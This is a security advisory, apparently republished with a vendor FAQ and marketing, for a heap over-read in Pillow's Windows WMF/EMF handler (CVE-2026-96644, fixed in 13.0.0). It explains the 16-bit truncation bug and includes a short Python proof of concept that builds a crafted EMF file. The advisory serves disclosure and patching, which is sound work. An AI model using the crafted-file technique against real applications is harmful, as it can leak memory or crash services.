Summary
Pillow: Heap over-read in WMF/EMF rendering via 16-bit dimension truncation (Windows builds)
On Windows builds, Pillow stores EMF and WMF image dimensions without a range check and passes them to the native drawwmf handler. That code sizes its allocation from dimensions truncated into 16-bit header fields but copies the result using the full 32-bit dimensions. A crafted metafile that is wide and short passes the decompression-bomb pixel check yet causes a heap over-read.
Details
The EMF branch computes the size straight from signed 32-bit header fields and stores it with no positivity or range check:
src/PIL/WmfImagePlugin.py:121-129reads the bounding box;:148stores it; the size reaches the native handler throughsrc/PIL/WmfImagePlugin.py:56.
In the native handler the DIB header fields bcWidth and bcHeight are 16-bit and truncate the allocation, while the copy length uses the untruncated ints:
src/display.c:793-794assign the 16-bit fieldssrc/display.c:800sizes the allocation from themsrc/display.c:827copiesheight * ((width * 3 + 3) & -4)bytes using the full values
The whole handler is compiled only on Windows (#ifdef _WIN32, src/display.c:33-841).
PoC
import struct
from PIL import Image
def L(v):
return struct.pack("<i", v)
# Minimal EMF header. Bounding box is 70000 x 1, so the pixel count (70000) passes the
# decompression-bomb check, but the width truncates to 16 bits for the allocation while
# the copy uses 70000.
emf = b"\x01\x00\x00\x00" + L(88) # record type + size
emf += L(0) + L(0) + L(70000) + L(1) # rclBounds: x0, y0, x1, y1
emf += L(0) + L(0) + L(100) + L(100) # rclFrame (non-zero, used for the dpi calc)
emf += b" EMF" # signature at offset 40
emf += bytes(44)
open("poc.emf", "wb").write(emf)
im = Image.open("poc.emf")
print("size:", im.size, "pixels:", im.size[0] * im.size[1])
im.load() # over-read happens here on a Windows build
On Linux the first part is observable: the 88-byte file opens, size is (70000, 1), and the bomb check passes. The native over-read only exists on Windows because Image.core.drawwmf is compiled out elsewhere (on Linux im.load() raises OSError instead).
Impact
CWE-125, out-of-bounds read in a C extension on Windows builds. A crafted EMF or WMF that passes the pixel check can read past a heap buffer, leaking memory or crashing the process.
A read operation accesses a memory location beyond the intended buffer boundary. Typical impact: sensitive data disclosure or crash.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
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Frequently Asked Questions
- What is CVE-2026-96644? CVE-2026-96644 is a high-severity out-of-bounds read vulnerability in Pillow (pip), affecting versions < 13.0.0. It is fixed in 13.0.0. A read operation accesses a memory location beyond the intended buffer boundary.
- Which versions of Pillow are affected by CVE-2026-96644? Pillow (pip) versions < 13.0.0 is affected.
- Is there a fix for CVE-2026-96644? Yes. CVE-2026-96644 is fixed in 13.0.0. Upgrade to this version or later.
- Is CVE-2026-96644 exploitable, and should I be worried? Whether CVE-2026-96644 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-96644 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-96644? Upgrade
Pillowto 13.0.0 or later.